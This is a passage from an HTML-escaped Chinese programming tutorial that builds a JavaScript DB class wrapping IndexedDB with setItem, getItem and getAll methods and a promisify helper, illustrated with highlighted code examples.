&#x7684;&#x6570;&#x636E;&#x5B58;&#x50A8;&#x6A21;&#x5F0F;&#x7B80;&#x5316;&#x4E3A;&#x952E;&#x503C;&#x5BF9;&#x7684;&#x5F62;&#x5F0F;&#xFF0C;&#x5E76;&#x5B9E;&#x73B0;&#x4E00;&#x4E9B;&#x5E38;&#x7528;&#x7684; setItem/getItem/getAllItems/removeItem &#x7B49;&#x65B9;&#x6CD5;&#x3002;&#x8FD9;&#x6837;&#x6211;&#x4EEC;&#x5C31;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; DB &#x7C7B;&#x7684;&#x5B9E;&#x4F8B;&#xFF0C;&#x4EE5;&#x7C7B;&#x4F3C; localStorage &#x7684; API &#x53BB;&#x4F7F;&#x7528; IndexedDB &#x4E86;&#x3002;</p>\n<h3 id=\"&#x6784;&#x9020;&#x51FD;&#x6570;\"><a name=\"&#x6784;&#x9020;&#x51FD;&#x6570;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6784;&#x9020;&#x51FD;&#x6570;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6784;&#x9020;&#x51FD;&#x6570;\" class=\"plugin-anchor\" href=\"#&#x6784;&#x9020;&#x51FD;&#x6570;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6784;&#x9020;&#x51FD;&#x6570;</h3>\n<p>&#x5728;&#x521D;&#x59CB;&#x5316;&#x65F6;&#xFF0C;&#x9700;&#x8981;&#x4F20;&#x5165; dbName&#x3001;version&#x3001;storeName &#x4E09;&#x4E2A;&#x53C2;&#x6570;&#xFF0C;&#x5206;&#x522B;&#x5BF9;&#x5E94;&#x6570;&#x636E;&#x5E93;&#x540D;&#x3001;&#x6570;&#x636E;&#x5E93;&#x7248;&#x672C;&#x53F7;&#x3001;&#x5BF9;&#x8C61;&#x4ED3;&#x5E93;&#x540D;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">class</span> <span class=\"token class-name\">DB</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">constructor</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n    dbName <span class=\"token operator\">=</span> <span class=\"token string\">&apos;db&apos;</span><span class=\"token punctuation\">,</span>\n    version <span class=\"token operator\">=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">,</span>\n    storeName\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>dbName <span class=\"token operator\">=</span> dbName\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>storeName <span class=\"token operator\">=</span> storeName\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>version <span class=\"token operator\">=</span> version\n  <span class=\"token punctuation\">}</span>\n\n  <span class=\"token comment\">// ...</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5176;&#x4E2D; dbName &#x548C; version &#x6211;&#x4EEC;&#x8BBE;&#x7F6E;&#x4E86;&#x9ED8;&#x8BA4;&#x503C;&#xFF0C;&#x56E0;&#x6B64;&#x5728;&#x5B9E;&#x4F8B;&#x5316; DB &#x7C7B;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x53EA;&#x9700;&#x8981;&#x4F20;&#x5165; storeName &#x5373;&#x53EF;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">const</span> db <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">DB</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>storeName<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;test&apos;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h3 id=\"&#x83B7;&#x53D6;&#x6570;&#x636E;&#x5E93;&#x5B9E;&#x4F8B;\"><a name=\"&#x83B7;&#x53D6;&#x6570;&#x636E;&#x5E93;&#x5B9E;&#x4F8B;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x83B7;&#x53D6;&#x6570;&#x636E;&#x5E93;&#x5B9E;&#x4F8B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x83B7;&#x53D6;&#x6570;&#x636E;&#x5E93;&#x5B9E;&#x4F8B;\" class=\"plugin-anchor\" href=\"#&#x83B7;&#x53D6;&#x6570;&#x636E;&#x5E93;&#x5B9E;&#x4F8B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x83B7;&#x53D6;&#x6570;&#x636E;&#x5E93;&#x5B9E;&#x4F8B;</h3>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x5C01;&#x88C5; <code>getDB()</code> &#x65B9;&#x6CD5;&#x6765;&#x83B7;&#x5F97;&#x6570;&#x636E;&#x5E93;&#x5B9E;&#x4F8B;&#xFF0C;&#x5E76;&#x4E14;&#x5728;&#x6570;&#x636E;&#x5E93;&#x521D;&#x59CB;&#x5316;&#x65F6;&#x521B;&#x5EFA;&#x5BF9;&#x8C61;&#x4ED3;&#x5E93;&#xFF0C;&#x7531;&#x4E8E;&#x5728;&#x8FD9;&#x91CC;&#x6211;&#x4EEC;&#x4F7F;&#x7528;&#x952E;&#x503C;&#x5BF9;&#x7684;&#x5B58;&#x50A8;&#x5F62;&#x5F0F;&#xFF0C;&#x56E0;&#x6B64;&#x89C4;&#x5B9A;&#x5B58;&#x50A8;&#x5BF9;&#x8C61;&#x7ED3;&#x6784;&#x4E3A;&#xFF1A;<code>{key, value}</code> &#xFF0C;&#x5176;&#x4E2D; <code>key</code> &#x5B58;&#x653E;&#x6570;&#x636E;&#x7684;&#x952E;&#x540D;&#xFF0C;value &#x5B58;&#x653E;&#x503C;&#x3002;&#x540C;&#x65F6;&#x7531;&#x4E8E; IndexedDB &#x91C7;&#x7528;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x7684;&#x5F02;&#x6B65;&#x673A;&#x5236;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x5B9E;&#x73B0;&#x7B80;&#x5355;&#x7684; <code>promisify</code> &#x65B9;&#x6CD5;&#x5C06;&#x56DE;&#x8C03;&#x4FEE;&#x6539;&#x6210; Promise &#x7684;&#x5F02;&#x6B65;&#x5F62;&#x5F0F;&#x3002;&#x5177;&#x4F53;&#x5B9E;&#x73B0;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">class</span> <span class=\"token class-name\">DB</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// ...</span>\n\n  <span class=\"token keyword\">async</span> <span class=\"token function\">getDB</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x4F18;&#x5148;&#x8FD4;&#x56DE;&#x7F13;&#x5B58;&#x7684;&#x6570;&#x636E;&#x5E93;&#x5B9E;&#x4F8B;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>db<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">return</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>db\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token comment\">// &#x6253;&#x5F00;&#x6570;&#x636E;&#x5E93;</span>\n    <span class=\"token keyword\">let</span> request <span class=\"token operator\">=</span> indexedDB<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>dbName<span class=\"token punctuation\">,</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>version<span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x5F53;&#x6570;&#x636E;&#x5E93;&#x521D;&#x59CB;&#x5316;&#x6216;&#x5347;&#x7EA7;&#x65F6;&#x521B;&#x5EFA;&#x4ED3;&#x5E93;</span>\n    request<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onupgradeneeded</span> <span class=\"token operator\">=</span> <span class=\"token parameter\">event</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">let</span> db <span class=\"token operator\">=</span> event<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">.</span>result\n      <span class=\"token comment\">// &#x5F53;&#x4ED3;&#x5E93;&#x4E0D;&#x5B58;&#x5728;&#x65F6;&#x521B;&#x5EFA;&#x4ED3;&#x5E93;&#xFF0C;&#x540C;&#x65F6;&#x89C4;&#x5B9A; key &#x4E3A;&#x7D22;&#x5F15;</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span>db<span class=\"token punctuation\">.</span>objectStoreNames<span class=\"token punctuation\">.</span><span class=\"token function\">contains</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>storeName<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        db<span class=\"token punctuation\">.</span><span class=\"token function\">createObjectStore</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>storeName<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>keyPath<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;key&apos;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n      <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n\n    <span class=\"token keyword\">let</span> event <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token function\">promisify</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>db <span class=\"token operator\">=</span> event<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">.</span>result\n    <span class=\"token keyword\">return</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>db\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5176;&#x4E2D; <code>promisify()</code> &#x65B9;&#x6CD5;&#x5B9E;&#x73B0;&#x5982;&#x4E0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">promisify</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">request</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve<span class=\"token punctuation\">,</span> reject</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    request<span class=\"token punctuation\">.</span>onsuccess <span class=\"token operator\">=</span> resolve\n    request<span class=\"token punctuation\">.</span>onerror <span class=\"token operator\">=</span> reject\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x8FD9;&#x6837;&#x6211;&#x4EEC;&#x5C31;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; getDB() &#x65B9;&#x6CD5;&#x521D;&#x59CB;&#x5316;&#x597D;&#x4ED3;&#x5E93;&#xFF0C;&#x5E76;&#x6700;&#x7EC8;&#x83B7;&#x5F97;&#x6570;&#x636E;&#x5E93;&#x5B9E;&#x4F8B;&#xFF0C;&#x63A5;&#x4E0B;&#x6765;&#x5C31;&#x53EF;&#x4EE5;&#x5B9E;&#x73B0;&#x5176;&#x4ED6;&#x64CD;&#x4F5C;&#x6570;&#x636E;&#x5E93;&#x7684;&#x65B9;&#x6CD5;&#x4E86;&#x3002;</p>\n<h3 id=\"&#x5199;&#x5165;&#x6570;&#x636E;-setitem\"><a name=\"&#x5199;&#x5165;&#x6570;&#x636E;-setitem\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5199;&#x5165;&#x6570;&#x636E;-setitem\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5199;&#x5165;&#x6570;&#x636E;-setitem\" class=\"plugin-anchor\" href=\"#&#x5199;&#x5165;&#x6570;&#x636E;-setitem\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5199;&#x5165;&#x6570;&#x636E; setItem()</h3>\n<p><code>setItem()</code> &#x7528;&#x4E8E;&#x5C06;&#x6570;&#x636E;&#x5199;&#x5165; indexedDB&#xFF0C;&#x5B83;&#x63A5;&#x6536;&#x4E24;&#x4E2A;&#x53C2;&#x6570;&#x5206;&#x522B;&#x4E3A; key &#x548C; value&#xFF0C;&#x5176;&#x4E2D; key &#x8981;&#x6C42;&#x4E3A;&#x5B57;&#x7B26;&#x4E32;&#x7C7B;&#x578B;&#xFF0C;value &#x4E3A; IndexedDB &#x5141;&#x8BB8;&#x5B58;&#x50A8;&#x7684;&#x7C7B;&#x578B;&#x5373;&#x53EF;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">class</span> <span class=\"token class-name\">DB</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// ...</span>\n\n  <span class=\"token keyword\">async</span> <span class=\"token function\">setItem</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">key<span class=\"token punctuation\">,</span> value</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x83B7;&#x53D6;&#x6570;&#x636E;&#x5E93;</span>\n    <span class=\"token keyword\">let</span> db <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span><span class=\"token function\">getDB</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x521B;&#x5EFA;&#x4E8B;&#x52A1;&#xFF0C;&#x6307;&#x5B9A;&#x4F7F;&#x7528;&#x5230;&#x7684;&#x4ED3;&#x5E93;&#x540D;&#x4EE5;&#x53CA;&#x8BFB;&#x5199;&#x6743;&#x9650;</span>\n    <span class=\"token keyword\">let</span> transaction <span class=\"token operator\">=</span> db<span class=\"token punctuation\">.</span><span class=\"token function\">transaction</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">[</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>storeName<span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> <span class=\"token string\">&apos;readwrite&apos;</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x83B7;&#x53D6;&#x4ED3;&#x5E93;&#x5B9E;&#x4F8B;</span>\n    <span class=\"token keyword\">let</span> objectStore <span class=\"token operator\">=</span> transaction<span class=\"token punctuation\">.</span><span class=\"token function\">objectStore</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>storeName<span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x5C06; key &#x548C; value &#x5305;&#x88C5;&#x6210;&#x5BF9;&#x8C61; {key, value} &#x5E76;&#x5B58;&#x5165;&#x4ED3;&#x5E93;</span>\n    <span class=\"token keyword\">let</span> request <span class=\"token operator\">=</span> objectStore<span class=\"token punctuation\">.</span><span class=\"token function\">put</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>key<span class=\"token punctuation\">,</span> value<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x5F02;&#x6B65;&#x6267;&#x884C;&#x7ED3;&#x679C;&#x901A;&#x8FC7; Promise &#x8FD4;&#x56DE;</span>\n    <span class=\"token keyword\">return</span> <span class=\"token function\">promisify</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x901A;&#x8FC7; <code>setItem()</code> &#x65B9;&#x6CD5;&#xFF0C;&#x6211;&#x4EEC;&#x5C31;&#x53EF;&#x4EE5;&#x65B9;&#x4FBF;&#x5730;&#x5199;&#x5165;&#x6570;&#x636E;&#x4E86;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x5B58;&#x5165;&#x6570;&#x5B57;</span>\ndb<span class=\"token punctuation\">.</span><span class=\"token function\">setItem</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;number&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x5199;&#x5165;&#x6210;&#x529F;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x5B58;&#x5165; Plain Object</span>\ndb<span class=\"token punctuation\">.</span><span class=\"token function\">setItem</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/path/to/data&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>status<span class=\"token punctuation\">:</span> <span class=\"token number\">0</span><span class=\"token punctuation\">,</span> data<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;Hello World&apos;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x5199;&#x5165;&#x6210;&#x529F;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h3 id=\"&#x8BFB;&#x53D6;&#x6570;&#x636E;-getitem-&#x4E0E;-getall\"><a name=\"&#x8BFB;&#x53D6;&#x6570;&#x636E;-getitem-&#x4E0E;-getall\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8BFB;&#x53D6;&#x6570;&#x636E;-getitem-&#x4E0E;-getall\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8BFB;&#x53D6;&#x6570;&#x636E;-getitem-&#x4E0E;-getall\" class=\"plugin-anchor\" href=\"#&#x8BFB;&#x53D6;&#x6570;&#x636E;-getitem-&#x4E0E;-getall\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8BFB;&#x53D6;&#x6570;&#x636E; getItem() &#x4E0E; getAll()</h3>\n<h4 id=\"getitem\"><a name=\"getitem\" class=\"anchor-navigation-ex-anchor\" href=\"#getitem\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"getitem\" class=\"plugin-anchor\" href=\"#getitem\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>getItem()</h4>\n<p><code>getItem()</code> &#x7528;&#x4E8E;&#x83B7;&#x53D6;&#x6570;&#x636E;&#xFF0C;&#x5B83;&#x63A5;&#x6536;&#x53C2;&#x6570; key&#xFF0C;&#x4F5C;&#x4E3A;&#x67E5;&#x627E;&#x8D44;&#x6E90;&#x7684;&#x6807;&#x8BC6;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">class</span> <span class=\"token class-name\">DB</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// ...</span>\n  <span class=\"token keyword\">async</span> <span class=\"token function\">getItem</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">key</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x83B7;&#x53D6;&#x6570;&#x636E;&#x5E93;&#x5B9E;&#x4F8B;</span>\n    <span class=\"token keyword\">let</span> db <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span><span class=\"token function\">getDB</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x521B;&#x5EFA;&#x4E8B;&#x52A1;&#xFF0C;&#x5E76;&#x6307;&#x5B9A;&#x597D;&#x4ED3;&#x5E93;&#x540D;&#x4EE5;&#x53CA;&#x64CD;&#x4F5C;&#x7684;&#x53EA;&#x8BFB;&#x6743;&#x9650;</span>\n    <span class=\"token keyword\">let</span> transaction <span class=\"token operator\">=</span> db<span class=\"token punctuation\">.</span><span class=\"token function\">transaction</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">[</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>storeName<span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> <span class=\"token string\">&apos;readonly&apos;</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x83B7;&#x53D6;&#x4ED3;&#x5E93;&#x5B9E;&#x4F8B;</span>\n    <span class=\"token keyword\">let</span> objectStore <span class=\"token operator\">=</span> transaction<span class=\"token punctuation\">.</span><span class=\"token function\">objectStore</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>storeName<span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x67E5;&#x627E;&#x5BF9;&#x5E94;&#x7684;&#x6570;&#x636E;&#x5E76;&#x901A;&#x8FC7; Promise &#x5BF9;&#x8C61;&#x5305;&#x88C5;&#x540E;&#x8FD4;&#x56DE;</span>\n    <span class=\"token keyword\">let</span> request <span class=\"token operator\">=</span> objectStore<span class=\"token punctuation\">.</span><span class=\"token function\">get</span><span class=\"token punctuation\">(</span>key<span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">let</span> event <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token function\">promisify</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">return</span> event<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">.</span>result <span class=\"token operator\">&amp;&amp;</span> event<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">.</span>result<span class=\"token punctuation\">.</span>value\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x4F7F;&#x7528; getItem() &#x8BFB;&#x53D6;&#x6570;&#x636E;&#x7684;&#x65B9;&#x6CD5;&#x4E5F;&#x975E;&#x5E38;&#x7B80;&#x5355;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">db<span class=\"token punctuation\">.</span><span class=\"token function\">getItem</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;number&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x6253;&#x5370; 1</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">value</span> <span class=\"token operator\">=&gt;</span> console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>value<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\ndb<span class=\"token punctuation\">.</span><span class=\"token function\">getItem</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/path/to/data&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x6253;&#x5370; {status: 0, data: &apos;Hello World&apos;}</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">value</span> <span class=\"token operator\">=&gt;</span> console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>value<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h4 id=\"getall\"><a name=\"getall\" class=\"anchor-navigation-ex-anchor\" href=\"#getall\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"getall\" class=\"plugin-anchor\" href=\"#getall\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>getAll()</h4>\n<p><code>getAll()</code> &#x7528;&#x4E8E;&#x83B7;&#x53D6;&#x6570;&#x636E;&#x5E93;&#x7684;&#x5168;&#x90E8;&#x6570;&#x636E;&#xFF0C;&#x8FD4;&#x56DE;&#x7684;&#x7ED3;&#x679C;&#x4E3A; Promise &#x5305;&#x88C5;&#x7684; Map &#x5BF9;&#x8C61;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">class</span> <span class=\"token class-name\">DB</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// ...</span>\n\n  <span class=\"token keyword\">async</span> <span class=\"token function\">getAll</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x83B7;&#x53D6;&#x6570;&#x636E;&#x5E93;&#x5B9E;&#x4F8B;</span>\n    <span class=\"token keyword\">let</span> db <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span><span class=\"token function\">getDB</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x521B;&#x5EFA;&#x4E8B;&#x52A1;&#xFF0C;&#x5E76;&#x6307;&#x5B9A;&#x597D;&#x4ED3;&#x5E93;&#x540D;&#x4EE5;&#x53CA;&#x64CD;&#x4F5C;&#x7684;&#x53EA;&#x8BFB;&#x6743;&#x9650;</span>\n    <span class=\"token keyword\">let</span> transaction <span class=\"token operator\">=</span> db<span class=\"token punctuation\">.</span><span class=\"token function\">transaction</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">[</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>storeName<span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> <span class=\"token string\">&apos;readonly&apos;</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x83B7;&#x53D6;&#x4ED3;&#x5E93;&#x5B9E;&#x4F8B;</span>\n    <span class=\"token keyword\">let</span> objectStore <span class=\"token operator\">=</span> transaction<span class=\"token punctuation\">.</span><span class=\"token function\">objectStore</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>storeName<span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x8BFB;&#x53D6;&#x4ED3;&#x5E93;&#x5168;&#x90E8;&#x6570;&#x636E;</span>\n    <span class=\"token keyword\">let</span> request <span class=\"token operator\">=</span> objectStore<span class=\"token punctuation\">.</span><span class=\"token function\">getAll</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">let</span> event <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token function\">promisify</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">let</span> result <span class=\"token operator\">=</span> event<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">.</span>result\n    <span class=\"token comment\">// &#x5F53;&#x6570;&#x636E;&#x4E3A;&#x7A7A;&#x65F6;&#xFF0C;&#x8FD4;&#x56DE;&#x7A7A;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span>result <span class=\"token operator\">||</span> <span class=\"token operator\">!</span>result<span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">return</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token comment\">// &#x6570;&#x636E;&#x4E0D;&#x4E3A;&#x7A7A;&#x65F6;&#xFF0C;&#x5C06;&#x6570;&#x636E;&#x5305;&#x88C5;&#x6210; Map &#x5BF9;&#x8C61;&#x5E76;&#x8FD4;&#x56DE;</span>\n    <span class=\"token keyword\">let</span> map <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Map</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">let</span> <span class=\"token punctuation\">{</span>key<span class=\"token punctuation\">,</span> value<span class=\"token punctuation\">}</span> <span class=\"token keyword\">of</span> result<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      map<span class=\"token punctuation\">.</span><span class=\"token function\">set</span><span class=\"token punctuation\">(</span>key<span class=\"token punctuation\">,</span> value<span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">return</span> map\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x8FD9;&#x6837;&#x901A;&#x8FC7; getAll() &#x65B9;&#x6CD5;&#x5C31;&#x53EF;&#x4EE5;&#x5F02;&#x6B65;&#x83B7;&#x53D6;&#x4ED3;&#x5E93;&#x4E2D;&#x5B58;&#x50A8;&#x7684;&#x5168;&#x90E8;&#x6570;&#x636E;&#x4E86;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">db<span class=\"token punctuation\">.</span><span class=\"token function\">getAll</span><span class=\"token punctuation\">(</span><span 